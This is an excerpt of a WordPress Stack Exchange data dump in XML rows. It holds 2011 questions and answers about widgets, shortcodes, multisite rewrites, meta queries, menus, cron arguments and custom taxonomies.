  <row Id="16986" PostTypeId="2" ParentId="16977" CreationDate="2011-05-11T19:01:15.270" Score="0" ViewCount="" Body="&lt;p&gt;I wrote a &lt;a href=&quot;http://webtide.wordpress.com/2010/07/20/how-to-use-the-members-plugin-to-restrict-access-to-wordpress-3-0-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;tutorial on how to properly apply capabilities with the Members plugin for CPTs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gist is to make sure you have all of the proper caps, not just the delete_ cap.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-11T19:01:15.270" />
  <row Id="16987" PostTypeId="2" ParentId="13700" CreationDate="2011-05-11T19:20:12.633" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-seo/&lt;/a&gt; doing this and much more. Just disable metabox in edit pages, its working in stealth mode :)&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-05-11T19:20:12.633" />
  <row Id="16988" PostTypeId="1" AcceptedAnswerId="16989" CreationDate="2011-05-11T19:20:43.613" Score="0" ViewCount="36" Body="&lt;p&gt;I've created a custom sidebar with this code in my theme's functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_sidebar(array(&#xA;        'name' =&amp;gt; __('Article - Below Content'),&#xA;        'id' =&amp;gt; 'zg-article-footer',&#xA;        'description' =&amp;gt; 'Use this sidebar to place widgets that will appear directly underneath the Article'&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I navigate to Appearance &gt; Widgets in my Admin, this sidebar is always the first one on the top of my list of sidebars, and it's always &quot;open&quot; (that is, you can see the description and the list of widgets attached to it). None of my other sidebars are open, and WP Admin doesn't seem to remember my last-opened sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an argument I should use when registering the sidebar that will tell it to default to closed? Or is there an option somewhere else entirely?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-05-11T19:22:50.097" Title="Why is my custom sidebar always open on the widgets screen in Admin?" Tags="&lt;sidebar&gt;&lt;register-sidebar&gt;" AnswerCount="1" />
  <row Id="16989" PostTypeId="2" ParentId="16988" CreationDate="2011-05-11T19:22:50.097" Score="0" ViewCount="" Body="&lt;p&gt;This is default behavior. I believe that sidebars are listed by ID in &lt;code&gt;Dashboard -&amp;gt; Appearance -&amp;gt; Widgets&lt;/code&gt;, and that the sidebar with ID &lt;code&gt;0&lt;/code&gt; is always open in the default view.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-11T19:22:50.097" CommentCount="2" />
  <row Id="16990" PostTypeId="1" CreationDate="2011-05-11T19:39:19.807" Score="0" ViewCount="99" Body="&lt;p&gt;I'm finding that if I have errors in my code that's being called by my custom widget's form() method, I don't see any error display - the only indication I have is that in Admin &gt; Appearance &gt; Widgets the sidebars are all gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can be done to:&#xA;a) avoid completely destroying all sidebars in Admin whenever your code has an error&#xA;b) get more information about what is causing the error or exception?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-05-11T20:48:40.443" LastActivityDate="2011-08-10T03:21:43.273" Title="Debugging / displaying errors in WP_Widget-&gt;form()" Tags="&lt;widgets&gt;&lt;errors&gt;" AnswerCount="1" />
  <row Id="16991" PostTypeId="1" AcceptedAnswerId="16994" CreationDate="2011-05-11T19:58:58.837" Score="4" ViewCount="80" Body="&lt;p&gt;i want to show the syntaxis in some posts about how to run a shortcode, I mean, something like this [myshortcode] but without running it, is that possible?&lt;/p&gt;&#xA;" OwnerUserId="3294" LastActivityDate="2011-05-17T02:54:10.737" Title="how to show the syntaxis of a shortcode" Tags="&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="16992" PostTypeId="2" ParentId="16991" CreationDate="2011-05-11T20:02:59.610" Score="1" ViewCount="" Body="&lt;p&gt;Try replacing the first &lt;code&gt;[&lt;/code&gt; with &lt;code&gt;&amp;amp;#091;&lt;/code&gt; in the Source editor tab instead of the Visual tab&lt;/p&gt;&#xA;" OwnerUserId="5223" LastEditorUserId="5223" LastEditorDisplayName="" LastEditDate="2011-05-17T02:54:10.737" LastActivityDate="2011-05-17T02:54:10.737" CommentCount="2" />
  <row Id="16993" PostTypeId="1" CreationDate="2011-05-11T20:05:33.570" Score="0" ViewCount="62" Body="&lt;p&gt;I'm trying to migrate from multiple subdomain blogs to WP multisite.  The one stumbling block is that I'm pretty sure the static files and directories on my subdomains will not be found; each of my blogs has its own set of static files (downloads, mp3 archives, scripts, etc.).  What would be a way to maintain these? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the following work?  I assume it will redirect anything with a &lt;code&gt;.&lt;/code&gt; in it, no?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^sub\.domain\.org$&#xA;RewriteCond %{REQUEST_URI} \.&#xA;RewriteRule ^(.*)$ sub/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5294" LastEditorUserId="5294" LastEditorDisplayName="" LastEditDate="2011-05-11T21:00:32.627" LastActivityDate="2011-08-10T14:21:55.193" Title="How do I maintain static directories on multisite subdomains?" Tags="&lt;multisite&gt;&lt;network&gt;&lt;filesystem&gt;&lt;subdomains&gt;&lt;static&gt;" AnswerCount="1" />
  <row Id="16994" PostTypeId="2" ParentId="16991" CreationDate="2011-05-11T20:12:36.540" Score="12" ViewCount="" Body="&lt;p&gt;If you use double brackets, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-includes/shortcodes.php#L196&quot; rel=&quot;nofollow&quot;&gt;WordPress will not execute the shortcode but just display it with single brackets&lt;/a&gt;. So &lt;code&gt;[[gallery]]&lt;/code&gt; becomes &lt;em&gt;[gallery]&lt;/em&gt; in your post.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-12T09:49:53.820" LastActivityDate="2011-05-12T09:49:53.820" CommentCount="6" />
  <row Id="16995" PostTypeId="2" ParentId="16990" CreationDate="2011-05-11T20:44:45.960" Score="0" ViewCount="" Body="&lt;p&gt;Here ya go&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://andrewnacin.com/2010/04/23/5-ways-to-debug-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://andrewnacin.com/2010/04/23/5-ways-to-debug-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-11T20:44:45.960" CommentCount="1" />
  <row Id="16996" PostTypeId="2" ParentId="16993" CreationDate="2011-05-11T20:59:31.007" Score="0" ViewCount="" Body="&lt;p&gt;what I've done in the past is from the subdomain, I've exported all content. Then in the WP multisite, I've imported invluding all downloaded attachments. This seemed to have move over all my images and the like .&lt;/p&gt;&#xA;" OwnerUserId="5295" LastActivityDate="2011-05-11T20:59:31.007" CommentCount="1" />
  <row Id="16997" PostTypeId="1" AcceptedAnswerId="16999" CreationDate="2011-05-11T21:02:28.097" Score="0" ViewCount="154" Body="&lt;p&gt;I recently upgraded WordPress from 3.0.x to 3.1.2. I had set it up to use custom post types before the upgrade. I need make a list of events that are occurring that started in the past until they occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if an event started today at Noon, it should show up in this list until it ends, which could be tomorrow at 6:00 PM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to modify this query so it will get custom posts that occur between the start and end date (multiple keys)?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array ('post_type'      =&amp;gt; 'events',&#xA;               'meta_key'       =&amp;gt; 'end_date_value',&#xA;               'meta_compare'   =&amp;gt; '&amp;gt;',&#xA;               'meta_value'     =&amp;gt; $current_time,&#xA;               'orderby'        =&amp;gt; 'meta_value',&#xA;               'order'          =&amp;gt; 'ASC'&#xA;              );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5267" LastEditorUserId="5267" LastEditorDisplayName="" LastEditDate="2011-05-11T21:47:12.710" LastActivityDate="2011-05-11T21:47:12.710" Title="How to query custom post types with multiple keys?" Tags="&lt;custom-post-types&gt;&lt;get-posts&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="16998" PostTypeId="1" AcceptedAnswerId="17000" CreationDate="2011-05-11T21:14:06.917" Score="0" ViewCount="145" Body="&lt;p&gt;any suggestions on how to get rid of &lt;strong&gt;&lt;em&gt;ul&lt;/em&gt;&lt;/strong&gt; tag wrapped around &lt;strong&gt;&lt;em&gt;li&lt;/em&gt;&lt;/strong&gt; tags in custom menu here at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blueoceanportfolios.com/careers/&quot; rel=&quot;nofollow&quot;&gt;http://www.blueoceanportfolios.com/careers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the custom menu is outputted with nested  tags around like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;menu-home&quot; class=&quot;navLeft&quot;&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://www.blueoceanportfolios.com/careers/&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;http://www.blueoceanportfolios.com/careers/?page_id=18&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to take out the  tags and already passed the container =&gt; false parameter before outputting custom menu as mentioned at wordpress codex, below is code again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $args = array(&#xA;   'menu' =&amp;gt; 'home_menu',&#xA;   // 'sort_column' =&amp;gt; '',&#xA;    'container' =&amp;gt; 'false',&#xA;    //'container_id'=&amp;gt;'myID',&#xA;    'menu_class' =&amp;gt; 'navLeft',&#xA;    'walker' =&amp;gt; new my_walker()&#xA;);&#xA;&#xA;&#xA;wp_nav_menu( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6257" LastEditorUserId="6257" LastEditorDisplayName="" LastEditDate="2011-05-11T21:19:50.480" LastActivityDate="2011-05-11T21:19:50.480" Title="removing the list container &lt;ul&gt; from the custom menu output" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="16999" PostTypeId="2" ParentId="16997" CreationDate="2011-05-11T21:15:45.463" Score="1" ViewCount="" Body="&lt;p&gt;Here is example from Codex on using &lt;code&gt;BETWEEN&lt;/code&gt; with new format of meta query, which covers multiple fields as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'product',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'color',&#xA;            'value' =&amp;gt; 'blue',&#xA;            'compare' =&amp;gt; 'NOT LIKE'&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; 'price',&#xA;            'value' =&amp;gt; array( 20, 100 ),&#xA;            'type' =&amp;gt; 'numeric',&#xA;            'compare' =&amp;gt; 'BETWEEN'&#xA;        )&#xA;    )&#xA; );&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;Custom Field Parameters&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-11T21:15:45.463" CommentCount="3" />
  <row Id="17000" PostTypeId="2" ParentId="16998" CreationDate="2011-05-11T21:19:18.890" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;container&lt;/code&gt; argument controls what is one level higher - around &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need is &lt;code&gt;items_wrap&lt;/code&gt; argument that controls the list wrap and defaults to &lt;code&gt;&amp;lt;ul id=&quot;%1$s&quot; class=&quot;%2$s&quot;&amp;gt;%3$s&amp;lt;/ul&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu#Removing_the_ul_wrap&quot; rel=&quot;nofollow&quot;&gt;Removing the ul wrap&lt;/a&gt; in Codex gives following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array( 'items_wrap' =&amp;gt; '%3$s' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-11T21:19:18.890" CommentCount="3" />
  <row Id="17001" PostTypeId="2" ParentId="16984" CreationDate="2011-05-11T21:31:11.030" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure about &lt;strong&gt;(1)&lt;/strong&gt; but you will likely need to create your own metabox from scratch and replace native one with it. See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_meta_box()&lt;/code&gt;&lt;/a&gt; in Codex for starters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(2)&lt;/strong&gt; to me seems to me as working against the system a bit. There is no point in hierarchy if your post belongs to whole hierarchy tree. On other hand this really needs to be put in context of how you will need to retrieve the data.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-11T21:31:11.030" CommentCount="6" />
  <row Id="17002" PostTypeId="1" AcceptedAnswerId="17008" CreationDate="2011-05-11T21:35:00.913" Score="0" ViewCount="68" Body="&lt;p&gt;The title pretty much says what I'm trying to accomplish, but more specifically I have a plugin that I made and it creates a custom post type, lets call them &lt;code&gt;newpages&lt;/code&gt;. On these pages I have used &lt;code&gt;template_redirect&lt;/code&gt; to take over the design of the pages, but some plugins appear, but I don't want to remove all of the plugins from loading, just a couple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was wondering if it's possible to use something like custom fields to disable certain plugins on a per-post basis. Can anybody point me in the right direction? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-05-11T21:57:35.530" Title="Disable Individual Plugins (specifically in Custom Post Types) on a per-post basis?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="17003" PostTypeId="1" CreationDate="2011-05-11T21:38:13.000" Score="1" ViewCount="111" Body="&lt;p&gt;Thanks to &lt;a href=&quot;http://wordpress.stackexchange.com/users/2232/otto&quot;&gt;Otto&lt;/a&gt;'s excellent post on &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;advanced taxonomy queries&lt;/a&gt;, I (mostly) understand how to create multi-taxonomy and multi-term queries. However, what I don't know is how to build those dynamically based on user input. I'd really like to end up with something like Amazon.com has on their site, with check boxes next to the various terms for a taxonomy in the sidebar (and multiple lists of terms, each with a taxonomy heading). Something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PkYVW.png&quot; alt=&quot;Taxonomy with list of terms and check boxes to select those terms&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I go about building something like this? Displaying the content dynamically (content changes when a box is checked) would be great, but I'd certainly settle for having a &quot;submit&quot; button.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-08-11T04:22:11.137" Title="How to build a multi-taxonomy, multi-term query based on user input" Tags="&lt;multi-taxonomy-query&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="17004" PostTypeId="2" ParentId="16961" CreationDate="2011-05-11T21:46:27.750" Score="1" ViewCount="" Body="&lt;p&gt;You should use &lt;code&gt;add_feed()&lt;/code&gt; function (take name of feed and callback) to add new feed, it will take care of settings up hooks and rewrite rules automagically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your callback function you can use &lt;code&gt;query_posts()&lt;/code&gt; to override query before loading template.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-11T21:46:27.750" />
  <row Id="17005" PostTypeId="1" CreationDate="2011-05-11T21:51:05.470" Score="0" ViewCount="50" Body="&lt;p&gt;I'd like to create a wordpress site which supports &lt;code&gt;multiple languages&lt;/code&gt;, does exist some &lt;code&gt;plug-in&lt;/code&gt; can help me to create &lt;code&gt;multi language interface and posts&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="5287" LastActivityDate="2011-05-11T21:51:05.470" Title="Multilanguage menus and posts, how to?" Tags="&lt;posts&gt;&lt;menus&gt;&lt;multi-language&gt;" CommentCount="1" />
  <row Id="17006" PostTypeId="2" ParentId="17003" CreationDate="2011-05-11T21:53:37.153" Score="0" ViewCount="" Body="&lt;p&gt;I am a little fuzzy on specifics of technical side, but I think general outline would be following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Interface&lt;/strong&gt; - you will need to either submit this as form by button or JavaScript.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Query variables&lt;/strong&gt; - you will need to register custom variable(s) via &lt;code&gt;query_vars&lt;/code&gt; filter so your custom data is not discarded from URL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Query&lt;/strong&gt; - modify query to make complex query, using custom data submitted.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-11T21:53:37.153" />
  <row Id="17007" PostTypeId="2" ParentId="15475" CreationDate="2011-05-11T21:54:27.903" Score="1" ViewCount="" Body="&lt;p&gt;Thanks to Rarst this makes a hell of a lot more sense now. So I've updated this post to elaborate the differences Rarst mentioned and upvoted his for shedding light on this ; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically &lt;strong&gt;wp_schedule_single_event&lt;/strong&gt; passes the arguments to your function through the variable args as shown &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_single_event&quot; rel=&quot;nofollow&quot;&gt;in the codex&lt;/a&gt;. This variable &quot;args&quot; must be an array because each value in the array will be mapped to an argument in your call back function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('example_action', 'example', 1, 3);&#xA;$args = array ( 2, 1, 3 );&#xA;wp_schedule_single_event(time(), 'example_action', $args);&#xA;&#xA;function example($a, $b, $c)&#xA;{&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2 will go to $a, 1 will go to $b and 3 will go to $c. However passing three variables is only possible because of this line,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('example_action', 'example', 1, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_action&quot; rel=&quot;nofollow&quot;&gt;codex for add_action&lt;/a&gt; you see that the fourth argument, 3, is what controls how many arguments are passed to the call back function. The default is 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this example also works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('example_action', 'example');&#xA;$args = array ( array( 2, 1, 3 ) );&#xA;wp_schedule_single_event(time(), 'example_action', $args);&#xA;&#xA;function example($a)&#xA;{&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here the array( 2, 1, 3) is assigned to just $a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Sardine's issue could be resolved with one line change where line 7,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('email' =&amp;gt; $email, 'title' =&amp;gt; $post-&amp;gt;post_title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes this instead,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(array('email' =&amp;gt; $email, 'title' =&amp;gt; $post-&amp;gt;post_title));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4119" LastEditorUserId="4119" LastEditorDisplayName="" LastEditDate="2011-05-12T04:28:43.280" LastActivityDate="2011-05-12T04:28:43.280" CommentCount="3" />
  <row Id="17008" PostTypeId="2" ParentId="17002" CreationDate="2011-05-11T21:57:35.530" Score="1" ViewCount="" Body="&lt;p&gt;I don't see why not.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Hook to &lt;code&gt;template_redirect&lt;/code&gt; (you already did).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Conditionals should work at this point, so use &lt;code&gt;is_single()&lt;/code&gt; / &lt;code&gt;is_singular()&lt;/code&gt; / etc to check for what you need.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;remove_action()&lt;/code&gt;/&lt;code&gt;remove_filter()&lt;/code&gt; to unhook unwanted functionality.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-11T21:57:35.530" CommentCount="2" />
  <row Id="17010" PostTypeId="2" ParentId="4182" CreationDate="2011-05-11T22:28:00.910" Score="0" ViewCount="" Body="&lt;p&gt;From &lt;a href=&quot;http://www.smashingmagazine.com/2011/05/10/new-wordpress-power-tips-for-template-developers-and-consultants/#highlighter_910865&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// hook the translation filters&#xA;add_filter(  'gettext',  'change_post_to_article'  );&#xA;add_filter(  'ngettext',  'change_post_to_article'  );&#xA;&#xA;function change_post_to_article( $translated ) {&#xA;     $translated = str_ireplace(  'Post',  'Article',  $translated );  // ireplace is PHP5 only&#xA;     return $translated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-11T22:28:00.910" />
  <row Id="17011" PostTypeId="2" ParentId="15475" CreationDate="2011-05-11T22:35:03.880" Score="2" ViewCount="" Body="&lt;p&gt;I think you have mismatch in how you pass arguments and how you expect it to work. You pass array of arguments to schedule and expect your hooked function to receive identical array of arguments. This is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cron events are processed by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_action_ref_array&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;do_action_ref_array()&lt;/code&gt;&lt;/a&gt;, which in turn passes arguments via &lt;a href=&quot;http://php.net/manual/en/function.call-user-func-array.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;call_user_func_array()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your hooked function does not receive array of arguments, it receives multiple arguments - one for each element in your array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need to either wrap array of arguments in array one more time or modify your function to process multiple arguments. Note that for letter you will also need to modify your &lt;code&gt;add_action()&lt;/code&gt; call so that required number of arguments is passed instead of just one.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-11T22:35:03.880" CommentCount="2" />
  <row Id="17012" PostTypeId="1" CreationDate="2011-05-11T22:41:46.603" Score="0" ViewCount="43" Body="&lt;p&gt;I like to use the new taxonomy to make a little CRM, really simple&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;contact&#xA;- name&#xA;- tel&#xA;- email&#xA;- company&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fine, the secretary will enter all the name in the database of the cms (WordPress), and i will have all those in, able to display it like a list or whatever i like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) first question, do i reinvent the wheel, is it already done...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, with all those nice contact... i have a page, or a list of really good product.. and all those contact can benefit to see it in there mail, much like a newsletter, but simpler...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) question, how can i get all those email, and have wp to send the wp page/link to those email... plugin, code ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance for the light on that&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-05-11T23:34:36.410" Title="Get something out from taxonomy" Tags="&lt;taxonomy&gt;&lt;email&gt;&lt;export&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="17013" PostTypeId="2" ParentId="17012" CreationDate="2011-05-11T23:18:15.120" Score="1" ViewCount="" Body="&lt;p&gt;I used &lt;a href=&quot;http://rolopress.com/&quot; rel=&quot;nofollow&quot;&gt;http://rolopress.com/&lt;/a&gt; a while back and have nice features for contact administration&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-11T23:18:15.120" />
  <row Id="17014" PostTypeId="2" ParentId="17012" CreationDate="2011-05-11T23:34:36.410" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.billerickson.net/twentyten-crm/&quot; rel=&quot;nofollow&quot;&gt;Start with the Twenty Ten CRM Child Theme&lt;/a&gt;&lt;/strong&gt;. It's more than a good starting point plus you could everything you mentioned if you code yourself the appropriate widgets/plugins.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-11T23:34:36.410" />
  <row Id="17016" PostTypeId="1" AcceptedAnswerId="17018" CreationDate="2011-05-11T23:49:43.983" Score="0" ViewCount="149" Body="&lt;p&gt;I am trying to list only the posts from a single category of my custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a custom post type called &quot;Inventory&quot;&#xA;and a custom taxonomy called &quot;Inventory Category&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then created a number of categories using the &quot;Inventory Category&quot; taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would now like to display the posts from only a single category. fyi, this is not for display on the taxonomy.php page, that is all set up and working fine.  This loop will be called on other pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I have so far, it returns ALL posts from the &quot;Inventory Category&quot; taxonomy rather than just those in the category &quot;bulk racks&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( 'post_type' =&amp;gt; 'inventory', 'inventory-category' =&amp;gt; 'bulk-racks' ) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how i created the custom post type &amp;amp; taxonomy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* --- Create Inventory Custom Post Type --- */&#xA;add_action('init', 'inventory_register');&#xA;&#xA;function inventory_register() {&#xA;$args = array(&#xA;    'label' =&amp;gt; __('Inventory'),&#xA;    'singular_label' =&amp;gt; __('Inventory'),&#xA;    'public' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'supports' =&amp;gt; array('title', 'thumbnail', 'revisions','custom-fields')&#xA;);&#xA;&#xA;register_post_type( 'inventory' , $args );&#xA;}&#xA;&#xA;/* --- Register Custom Taxonomy for Inventory Lists --- */ &#xA;add_action( 'init', 'register_my_taxonomies', 0 );&#xA;&#xA;function register_my_taxonomies() {&#xA;&#xA;register_taxonomy(&#xA;    'division',&#xA;    array( 'inventory' ),&#xA;    array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'public' =&amp;gt; true,&#xA;        'labels' =&amp;gt; array(&#xA;            'name' =&amp;gt; __( 'Inventory Category' ),&#xA;            'singular_name' =&amp;gt; __( 'Inventory Categories' ),&#xA;            'show_ui' =&amp;gt; true,&#xA;            'show_in_nav_menus' =&amp;gt; true,&#xA;        ),&#xA;    )&#xA;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2837" LastEditorUserId="2837" LastEditorDisplayName="" LastEditDate="2011-05-12T00:48:13.103" LastActivityDate="2011-05-12T01:28:34.693" Title="How to display posts from a single category within a custom taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;" AnswerCount="1" />
